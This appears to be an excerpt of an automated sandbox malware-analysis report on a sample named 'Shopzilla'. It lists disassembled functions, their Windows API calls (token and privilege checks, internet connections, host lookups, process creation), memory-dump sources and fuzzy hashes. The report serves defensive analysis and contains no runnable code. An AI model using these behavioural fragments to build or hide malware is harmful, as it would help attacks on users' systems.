Snapshot File: hcaresult_10_2_ba0000_Shopzilla.jbxd

Similarity

API ID: ByteCharMultiWide__setmode$DebugOutputString_flsall_fprintf
String ID:
API String ID: 521402451-0
Opcode ID: 6f62fad722af3409ab858319279be3c111240c295024bc5b02ad884e3ddd213b
Instruction ID: 15394035a62578d82684a3cac6cac778c50fc7947fc489f0b2c85cc4275e4d62
Opcode Fuzzy Hash: 6f62fad722af3409ab858319279be3c111240c295024bc5b02ad884e3ddd213b
Instruction Fuzzy Hash: 3B110232904204ABDA14B7A8AC52FBE7BE8EF41320F1441EDF204971C2DFB05D4697A4

Function 00BF9057 Relevance: 6.1, APIs: 4, Instructions: 79memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 00BF8B0B: GetTokenInformation.ADVAPI32(?,00000003(TokenIntegrityLevel),?,00000000,?), ref: 00BF8B22
Part of subcall function 00BF8B0B: GetLastError.KERNEL32(?,TokenIntegrityLevel,?,00000000,?), ref: 00BF8B2C
Part of subcall function 00BF8B0B: GetProcessHeap.KERNEL32(00000008,?,?,TokenIntegrityLevel,?,00000000,?), ref: 00BF8B3B
Part of subcall function 00BF8B0B: HeapAlloc.KERNEL32(00000000,?,TokenIntegrityLevel,?,00000000,?), ref: 00BF8B42
Part of subcall function 00BF8B0B: GetTokenInformation.ADVAPI32(?,00000003(TokenIntegrityLevel),00000000,?,?,?,TokenIntegrityLevel,?,00000000,?), ref: 00BF8B58

LookupPrivilegeValueW.ADVAPI32(00000000,?,?), ref: 00BF90A4
_memcmp.LIBCMT ref: 00BF90C7
GetProcessHeap.KERNEL32(00000000,00000000), ref: 00BF90FD
HeapFree.KERNEL32(00000000), ref: 00BF9104

Memory Dump Source

Source File: 0000000A.00000002.2941850054.0000000000BA1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00BA0000, based on PE: true

Associated: 0000000A.00000002.2941823679.0000000000BA0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2941948303.0000000000C30000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2941948303.0000000000C55000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2942037506.0000000000C5F000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2942066359.0000000000C68000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_ba0000_Shopzilla.jbxd

Similarity

API ID: Heap$InformationProcessToken$AllocErrorFreeLastLookupPrivilegeValue_memcmp
String ID:
API String ID: 1592001646-0
Opcode ID: fbecf680a833e58fdfd4ea75b7b7b2c7b846ac410baad1fc813a1e98035990fa
Instruction ID: 2f9f63c6e3ffe2d8cd5ddd4c0cb93f9f1300653d0c9d4422317d82cb2258009d
Opcode Fuzzy Hash: fbecf680a833e58fdfd4ea75b7b7b2c7b846ac410baad1fc813a1e98035990fa
Instruction Fuzzy Hash: B8216D72E4010DAFDB10DFA9C985BFEB7F8EF44315F144099E955A7241EB32AA09CB50

Function 00C11C17 Relevance: 6.1, APIs: 4, Instructions: 78networkCOMMON

Download Yara Rule

APIs

InternetConnectW.WININET(?,?,?,?,?,?,00000000,00000000), ref: 00C11C53

Part of subcall function 00C11CDD: InternetOpenUrlW.WININET(?,?,00000000,00000000,?,00000000), ref: 00C11CFC
Part of subcall function 00C11CDD: InternetCloseHandle.WININET(00000000), ref: 00C11D99

Memory Dump Source

Source File: 0000000A.00000002.2941850054.0000000000BA1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00BA0000, based on PE: true

Associated: 0000000A.00000002.2941823679.0000000000BA0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2941948303.0000000000C30000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2941948303.0000000000C55000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2942037506.0000000000C5F000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2942066359.0000000000C68000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_ba0000_Shopzilla.jbxd

Similarity

API ID: Internet$CloseConnectHandleOpen
String ID:
API String ID: 1463438336-0
Opcode ID: 0bf60ff6200b6d0ab357888686e4ae1cdd925a5ed1e70899fb4543334c121c08
Instruction ID: 489af470b304c3ccd1927be31908eef4f48dde496f59ea2e1680cb04d0a1a660
Opcode Fuzzy Hash: 0bf60ff6200b6d0ab357888686e4ae1cdd925a5ed1e70899fb4543334c121c08
Instruction Fuzzy Hash: 2421FF36280600BFDB118F618C11FFBB7A9FF86700F18401AFA5196650DB75A961BBE0

Function 00C26116 Relevance: 6.1, APIs: 4, Instructions: 69COMMON

Download Yara Rule

APIs

GetWindowLongW.USER32(?,000000EC), ref: 00C26185
SetWindowLongW.USER32(?,000000EC,00000000), ref: 00C2619F
SetWindowLongW.USER32(?,000000EC,00000000), ref: 00C261AD
SetLayeredWindowAttributes.USER32(?,00000000,?,00000002), ref: 00C261BB

Memory Dump Source

Source File: 0000000A.00000002.2941850054.0000000000BA1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00BA0000, based on PE: true

Associated: 0000000A.00000002.2941823679.0000000000BA0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2941948303.0000000000C30000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2941948303.0000000000C55000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2942037506.0000000000C5F000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2942066359.0000000000C68000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_ba0000_Shopzilla.jbxd

Similarity

API ID: Window$Long$AttributesLayered
String ID:
API String ID: 2169480361-0
Opcode ID: a5e1712764d2f8a0a626124421bd23b0b7dc7a05c77ca2603c96d3f0fa3e0513
Instruction ID: f4787bdc92f502045386208740764fe3f3bf79883ab89191b0f7cc3053ad97a3
Opcode Fuzzy Hash: a5e1712764d2f8a0a626124421bd23b0b7dc7a05c77ca2603c96d3f0fa3e0513
Instruction Fuzzy Hash: 1E11EE36304524AFDB15AB14DC15FBE77A8AF86320F184118F926CB2D2CB60AE00CBA4

Function 00BFE23D Relevance: 6.1, APIs: 3, Strings: 1, Instructions: 68stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00BFF63B: lstrlenW.KERNEL32(?,00000002,?,?,000000EF,?,00BFE252,?,?,?,00BFF045,00000000,000000EF,00000119,?,?), ref: 00BFF64A
Part of subcall function 00BFF63B: lstrcpyW.KERNEL32(00000000,?), ref: 00BFF670
Part of subcall function 00BFF63B: lstrcmpiW.KERNEL32(00000000,?,00BFE252,?,?,?,00BFF045,00000000,000000EF,00000119,?,?), ref: 00BFF6A1

lstrlenW.KERNEL32(?,00000002,?,?,?,?,00BFF045,00000000,000000EF,00000119,?,?,00000000), ref: 00BFE26B
lstrcpyW.KERNEL32(00000000,?), ref: 00BFE291
lstrcmpiW.KERNEL32(00000002,cdecl,?,00BFF045,00000000,000000EF,00000119,?,?,00000000), ref: 00BFE2C5

Strings

cdecl, xrefs: 00BFE2BC

Memory Dump Source

Source File: 0000000A.00000002.2941850054.0000000000BA1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00BA0000, based on PE: true

Associated: 0000000A.00000002.2941823679.0000000000BA0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2941948303.0000000000C30000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2941948303.0000000000C55000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2942037506.0000000000C5F000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2942066359.0000000000C68000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_ba0000_Shopzilla.jbxd

Similarity

API ID: lstrcmpilstrcpylstrlen
String ID: cdecl
API String ID: 4031866154-3896280584
Opcode ID: c4405e8f52a24a49635c7b628782a41db8c13772440f966f01fc2b871f371e82
Instruction ID: d6c6b4bbf5d9b257713427acb98d4a8737feef9de2613d8902fb96fa57ce5769
Opcode Fuzzy Hash: c4405e8f52a24a49635c7b628782a41db8c13772440f966f01fc2b871f371e82
Instruction Fuzzy Hash: 1B11BE36200309AFDB25AF24D845E7A77E9FF45310B40416AF906CB2B0EB71D855C7A0

Function 00BD5242 Relevance: 6.1, APIs: 4, Instructions: 67COMMONLIBRARYCODE

Download Yara Rule

APIs

_free.LIBCMT ref: 00BD5261

Part of subcall function 00BC586C: __FF_MSGBANNER.LIBCMT ref: 00BC5883
Part of subcall function 00BC586C: __NMSG_WRITE.LIBCMT ref: 00BC588A
Part of subcall function 00BC586C: RtlAllocateHeap.NTDLL(00D20000,00000000,00000001,?,00000004,?,?,00BC0F33,?), ref: 00BC58AF

Memory Dump Source

Source File: 0000000A.00000002.2941850054.0000000000BA1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00BA0000, based on PE: true

Associated: 0000000A.00000002.2941823679.0000000000BA0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2941948303.0000000000C30000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2941948303.0000000000C55000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2942037506.0000000000C5F000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2942066359.0000000000C68000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_ba0000_Shopzilla.jbxd

Similarity

API ID: AllocateHeap_free
String ID:
API String ID: 614378929-0
Opcode ID: b0f88b6bf52049d1e2c041deb0a152dfb3843a1f0d8143ba07d7c284e46063d8
Instruction ID: 9256d4599e4e1b531835ef3e762359580a9c3bf2960f36b39ebeaafa3147803d
Opcode Fuzzy Hash: b0f88b6bf52049d1e2c041deb0a152dfb3843a1f0d8143ba07d7c284e46063d8
Instruction Fuzzy Hash: B511C632906A25ABCB303F70AC45B5F7BD8DF21360F2445EFF9599A250EE30894487E4

Function 00C041D2 Relevance: 6.1, APIs: 4, Instructions: 65fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32(?,C0000000,00000003,00000000,00000003,00000080,00000000), ref: 00C041F2
_memset.LIBCMT ref: 00C04213
DeviceIoControl.KERNEL32(00000000,0004D02C,?,00000200,?,00000200,?,00000000), ref: 00C04265
CloseHandle.KERNEL32(00000000), ref: 00C0426E

Memory Dump Source

Source File: 0000000A.00000002.2941850054.0000000000BA1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00BA0000, based on PE: true

Associated: 0000000A.00000002.2941823679.0000000000BA0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2941948303.0000000000C30000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2941948303.0000000000C55000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2942037506.0000000000C5F000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2942066359.0000000000C68000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_ba0000_Shopzilla.jbxd

Similarity

API ID: CloseControlCreateDeviceFileHandle_memset
String ID:
API String ID: 1157408455-0
Opcode ID: 2f4e5624bd6eabadfb53ef01cfaeb068175f63dbb3b456aef43686329c3a2289
Instruction ID: f77af52090dde1d0e7b934e7dbe745630183ae0b6aed23aa5e495822b2198374
Opcode Fuzzy Hash: 2f4e5624bd6eabadfb53ef01cfaeb068175f63dbb3b456aef43686329c3a2289
Instruction Fuzzy Hash: E71158769012287AD73097A59C4DFAFBB7CEB45760F10419AF918A7190D6744E80CBA4

Function 00C16819 Relevance: 6.1, APIs: 4, Instructions: 61networkCOMMON

Download Yara Rule

APIs

Part of subcall function 00BB402A: WideCharToMultiByte.KERNEL32(00000000,00000000,?,00000001,00000000,00000000,00000000,00000000,00000000,00000000,?,00C07CBE,?,?,00000000), ref: 00BB4041
Part of subcall function 00BB402A: WideCharToMultiByte.KERNEL32(00000000,00000000,?,00000001,00000000,?,00000000,00000000,?,?,00C07CBE,?,?,00000000,?,?), ref: 00BB4065

gethostbyname.WSOCK32(?,?,?), ref: 00C16849
WSAGetLastError.WSOCK32(00000000), ref: 00C16854
_memmove.LIBCMT ref: 00C16881
inet_ntoa.WSOCK32(?), ref: 00C1688C

Memory Dump Source

Source File: 0000000A.00000002.2941850054.0000000000BA1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00BA0000, based on PE: true

Associated: 0000000A.00000002.2941823679.0000000000BA0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2941948303.0000000000C30000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2941948303.0000000000C55000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2942037506.0000000000C5F000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2942066359.0000000000C68000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_ba0000_Shopzilla.jbxd

Similarity

API ID: ByteCharMultiWide$ErrorLast_memmovegethostbynameinet_ntoa
String ID:
API String ID: 1504782959-0
Opcode ID: f98ef4c630bc65ef3ffe6c219c132d0d800504206c7b9ec8ee048cdd72daa069
Instruction ID: 569281a95eda32b5ff7d35f9102839258a9c2afbdf893778a04a40f659d768eb
Opcode Fuzzy Hash: f98ef4c630bc65ef3ffe6c219c132d0d800504206c7b9ec8ee048cdd72daa069
Instruction Fuzzy Hash: E2118172500108AFCB04FBA4C956DEEB7F8EF05310B5440A5F501A72A2DF71AE44EB91

Function 00BF94DC Relevance: 6.1, APIs: 4, Instructions: 59windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,000000B0,?,?), ref: 00BF94FC
SendMessageW.USER32(?,000000C9,?,00000000), ref: 00BF950E
SendMessageW.USER32(?,000000C9,?,00000000), ref: 00BF9524
SendMessageW.USER32(?,000000C9,?,00000000), ref: 00BF953F

Memory Dump Source

Source File: 0000000A.00000002.2941850054.0000000000BA1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00BA0000, based on PE: true

Associated: 0000000A.00000002.2941823679.0000000000BA0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2941948303.0000000000C30000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2941948303.0000000000C55000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2942037506.0000000000C5F000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2942066359.0000000000C68000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_ba0000_Shopzilla.jbxd

Similarity

API ID: MessageSend
String ID:
API String ID: 3850602802-0
Opcode ID: 54fd15227876ad19dbe79b420a824bccac9f3a862a7790d719bdabc5e38898c2
Instruction ID: 9b94b3b308b0541058b7ccd6532c221ecbe9ec95aec3cfa70fac20d2c9512cab
Opcode Fuzzy Hash: 54fd15227876ad19dbe79b420a824bccac9f3a862a7790d719bdabc5e38898c2
Instruction Fuzzy Hash: 3F115A3A900218FFEB11DF99CC85FADBBB8FB48310F204095EA00B7290D671AE14DB90

Function 00BA166C Relevance: 6.1, APIs: 4, Instructions: 59COMMON

Download Yara Rule

APIs

Part of subcall function 00BA29E2: GetWindowLongW.USER32(?,000000EB), ref: 00BA29F3

DefDlgProcW.USER32(?,00000020,?), ref: 00BA16B4
GetClientRect.USER32(?,?), ref: 00BDB86C
GetCursorPos.USER32(?), ref: 00BDB876
ScreenToClient.USER32(?,?), ref: 00BDB881

Memory Dump Source

Source File: 0000000A.00000002.2941850054.0000000000BA1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00BA0000, based on PE: true

Associated: 0000000A.00000002.2941823679.0000000000BA0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2941948303.0000000000C30000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2941948303.0000000000C55000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2942037506.0000000000C5F000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2942066359.0000000000C68000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_ba0000_Shopzilla.jbxd

Similarity

API ID: Client$CursorLongProcRectScreenWindow
String ID:
API String ID: 4127811313-0
Opcode ID: 15c0bdfddd1306e36d47de677448178b3216deab7b3388cd81a3e91bfe7f04af
Instruction ID: e5e300e5a8783eccbdba36a3211502a708d37e0a3cd21b975b8a8140d02ec8c7
Opcode Fuzzy Hash: 15c0bdfddd1306e36d47de677448178b3216deab7b3388cd81a3e91bfe7f04af
Instruction Fuzzy Hash: 49111376A04119ABCB10EFACD896ABE77B8FB06301F540895F901E7150C730AA518BA5

Function 00BA2111 Relevance: 6.1, APIs: 4, Instructions: 53windowCOMMON

Download Yara Rule

APIs

CreateWindowExW.USER32(?,?,?,?,?,?,?,?,?,?,00000000,00000096), ref: 00BA214F
GetStockObject.GDI32(00000011), ref: 00BA2163
SendMessageW.USER32(00000000,00000030,00000000), ref: 00BA216D

Memory Dump Source

Source File: 0000000A.00000002.2941850054.0000000000BA1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00BA0000, based on PE: true

Associated: 0000000A.00000002.2941823679.0000000000BA0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2941948303.0000000000C30000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2941948303.0000000000C55000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2942037506.0000000000C5F000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2942066359.0000000000C68000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_ba0000_Shopzilla.jbxd

Similarity

API ID: CreateMessageObjectSendStockWindow
String ID:
API String ID: 3970641297-0
Opcode ID: 28a1e77601517153e968dbc285105cc756f6e13019fafce88778d7fb9cdbbb18
Instruction ID: a7d74fb5d6105be430e55ba65ce52c7cad3d78f9f1482115109d344141f937d7
Opcode Fuzzy Hash: 28a1e77601517153e968dbc285105cc756f6e13019fafce88778d7fb9cdbbb18
Instruction Fuzzy Hash: 62118B72505509BFDB124FA4DC91FEABBA9EF5A354F140152FB0462110C7319C60AFA0

Function 00C017AD Relevance: 6.1, APIs: 4, Instructions: 51sleepCOMMON

Download Yara Rule

APIs

QueryPerformanceCounter.KERNEL32(?,?,?,?,?,?,?,00C00358,?,00C013AB,?,00008000), ref: 00C017CA
Sleep.KERNEL32(00000000,?,?,?,?,?,?,00C00358,?,00C013AB,?,00008000), ref: 00C017EF
QueryPerformanceCounter.KERNEL32(?,?,?,?,?,?,?,00C00358,?,00C013AB,?,00008000), ref: 00C017F9
Sleep.KERNEL32(?,?,?,?,?,?,?,00C00358,?,00C013AB,?,00008000), ref: 00C0182C

Memory Dump Source

Source File: 0000000A.00000002.2941850054.0000000000BA1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00BA0000, based on PE: true

Associated: 0000000A.00000002.2941823679.0000000000BA0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2941948303.0000000000C30000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2941948303.0000000000C55000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2942037506.0000000000C5F000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2942066359.0000000000C68000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_ba0000_Shopzilla.jbxd

Similarity

API ID: CounterPerformanceQuerySleep
String ID:
API String ID: 2875609808-0
Opcode ID: 3d98406e7a547b4a2ae35701a67597b0900dd9c214bd0374e1b9ac745b2d4fea
Instruction ID: 25c0c0658282871d52af72e113ce819c880d46369ef1a8ef929cd5549088bf6c
Opcode Fuzzy Hash: 3d98406e7a547b4a2ae35701a67597b0900dd9c214bd0374e1b9ac745b2d4fea
Instruction Fuzzy Hash: F1112A31D01618DBCF00AFA5D989BEEFBB8FF08711F598159ED41B2180CB3056A0CB91

Function 00BD7117 Relevance: 6.0, APIs: 4, Instructions: 48COMMONLIBRARYCODE

Download Yara Rule

APIs

__cftof_l.LIBCMT ref: 00BD713B

Part of subcall function 00BD7822: __fltout2.LIBCMT ref: 00BD784B

__cftog_l.LIBCMT ref: 00BD7161
__cftoe_l.LIBCMT ref: 00BD7193

Memory Dump Source

Source File: 0000000A.00000002.2941850054.0000000000BA1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00BA0000, based on PE: true

Associated: 0000000A.00000002.2941823679.0000000000BA0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2941948303.0000000000C30000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2941948303.0000000000C55000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2942037506.0000000000C5F000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2942066359.0000000000C68000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_ba0000_Shopzilla.jbxd

Similarity

API ID: __cftoe_l__cftof_l__cftog_l__fltout2
String ID:
API String ID: 3016257755-0
Opcode ID: a65d1881d29c7e947f5b32dbcea64912f89e558cad637ae539af3f1adf23f7b4
Instruction ID: 937149d1e2a288195daac494cfcf42363dc1b5c8b5191c16d5f9a51ae382fb06
Opcode Fuzzy Hash: a65d1881d29c7e947f5b32dbcea64912f89e558cad637ae539af3f1adf23f7b4
Instruction Fuzzy Hash: 0901723208414ABBCF125E84CC458EE7FA6BB18340B548596FA1864230EB36C971AB81

Function 00C2B6B2 Relevance: 6.0, APIs: 4, Instructions: 47COMMON

Download Yara Rule

APIs

GetWindowRect.USER32(?,?), ref: 00C2B6D1
ScreenToClient.USER32(?,?), ref: 00C2B6E9
ScreenToClient.USER32(?,?), ref: 00C2B70D
InvalidateRect.USER32(?,?,?,?,?,?,?,?,?,?,?,?), ref: 00C2B728

Memory Dump Source

Source File: 0000000A.00000002.2941850054.0000000000BA1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00BA0000, based on PE: true

Associated: 0000000A.00000002.2941823679.0000000000BA0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2941948303.0000000000C30000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2941948303.0000000000C55000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2942037506.0000000000C5F000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2942066359.0000000000C68000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_ba0000_Shopzilla.jbxd

Similarity

API ID: ClientRectScreen$InvalidateWindow
String ID:
API String ID: 357397906-0
Opcode ID: f16fbb9f5c951face7d75bf80871f4897a3db7fccde028eb42f169077bd550fd
Instruction ID: 204962af16682e05e9ed2c1c724052e29cb7a74cb11e414da062ce37896a145a
Opcode Fuzzy Hash: f16fbb9f5c951face7d75bf80871f4897a3db7fccde028eb42f169077bd550fd
Instruction Fuzzy Hash: DC1143B9D00209EFDB41CF98D885AEEBBF9FB48311F104156E914E3614D735AA658F50

Function 00C2BA22 Relevance: 6.0, APIs: 4, Instructions: 40processCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00C2BA31
_memset.LIBCMT ref: 00C2BA40
CreateProcessW.KERNEL32(00000000,?,00000000,00000000,00000000,00000020,00000000,00000000,00C67F20,00C67F64), ref: 00C2BA6F
CloseHandle.KERNEL32 ref: 00C2BA81

Memory Dump Source

Source File: 0000000A.00000002.2941850054.0000000000BA1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00BA0000, based on PE: true

Associated: 0000000A.00000002.2941823679.0000000000BA0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2941948303.0000000000C30000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2941948303.0000000000C55000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2942037506.0000000000C5F000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2942066359.0000000000C68000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_ba0000_Shopzilla.jbxd

Similarity

API ID: _memset$CloseCreateHandleProcess
String ID:
API String ID: 3277943733-0
Opcode ID: ca9dc4ccb5407790f440b2d2cb9fd268ccd7c7f0c384dabfd85e14ee9e648a10
Instruction ID: b666fbc4944e05cd46b49bc54aa0b8c372134206ec12b07242c608bae5baa0d2
Opcode Fuzzy Hash: ca9dc4ccb5407790f440b2d2cb9fd268ccd7c7f0c384dabfd85e14ee9e648a10
Instruction Fuzzy Hash: 10F082F2558304BBF66067E2AC55FBF3A5CEB08758F000964FA08D51A2D7F55C1087AA

Function 00C07002 Relevance: 6.0, APIs: 4, Instructions: 33COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?), ref: 00C0700E

Part of subcall function 00C07AEC: _memset.LIBCMT ref: 00C07B21

_memmove.LIBCMT ref: 00C07031
_memset.LIBCMT ref: 00C0703E
LeaveCriticalSection.KERNEL32(?), ref: 00C0704E

Memory Dump Source

Source File: 0000000A.00000002.2941850054.0000000000BA1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00BA0000, based on PE: true

Associated: 0000000A.00000002.2941823679.0000000000BA0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2941948303.0000000000C30000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2941948303.0000000000C55000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2942037506.0000000000C5F000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2942066359.0000000000C68000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_ba0000_Shopzilla.jbxd

Similarity

API ID: CriticalSection_memset$EnterLeave_memmove
String ID:
API String ID: 48991266-0
Opcode ID: 3d8ddb8cd52f0dbadf1edb1e904fbce78d8fa0738e59bfe279b5e5aaa3abb6c2
Instruction ID: 495ec4aa03887872c3ae1024980ec3dc224bfcb662b34dbb1f93d7325cf3450a
Opcode Fuzzy Hash: 3d8ddb8cd52f0dbadf1edb1e904fbce78d8fa0738e59bfe279b5e5aaa3abb6c2
Instruction Fuzzy Hash: E8F05476200104ABCF416F55DC85F4ABB69EF45320F08C095FE085F267C771A915DBB4

Function 00C2C13F Relevance: 6.0, APIs: 4, Instructions: 31COMMON

Download Yara Rule

APIs

Part of subcall function 00BA16CF: ExtCreatePen.GDI32(?,?,00000000,00000000,00000000,?,00000000), ref: 00BA1729
Part of subcall function 00BA16CF: SelectObject.GDI32(?,00000000), ref: 00BA1738
Part of subcall function 00BA16CF: BeginPath.GDI32(?), ref: 00BA174F
Part of subcall function 00BA16CF: SelectObject.GDI32(?,00000000), ref: 00BA1778

MoveToEx.GDI32(00000000,00000000,?,00000000), ref: 00C2C163
LineTo.GDI32(00000000,?,?), ref: 00C2C170
EndPath.GDI32(00000000), ref: 00C2C180
StrokePath.GDI32(00000000), ref: 00C2C18E

Memory Dump Source

Source File: 0000000A.00000002.2941850054.0000000000BA1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00BA0000, based on PE: true

Associated: 0000000A.00000002.2941823679.0000000000BA0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2941948303.0000000000C30000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2941948303.0000000000C55000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2942037506.0000000000C5F000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2942066359.0000000000C68000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_ba0000_Shopzilla.jbxd

Similarity

API ID: Path$ObjectSelect$BeginCreateLineMoveStroke
String ID:
API String ID: 1539411459-0
Opcode ID: 8d4909f3b11b27d5364e96215616d4b65baf29900b7163abff915d6d0065a2af
Instruction ID: f398e3a175b5e7d3882e57b463cc16f710c35af4fff9d6a88dbab253f8754de1
Opcode Fuzzy Hash: 8d4909f3b11b27d5364e96215616d4b65baf29900b7163abff915d6d0065a2af
Instruction Fuzzy Hash: 12F08232005269BBDB136F65AC0EFCE3F59AF0A310F144140FA11650E2C7B55661DFA5

Function 00BFA835 Relevance: 6.0, APIs: 4, Instructions: 30threadwindowtimeCOMMON

Download Yara Rule

APIs

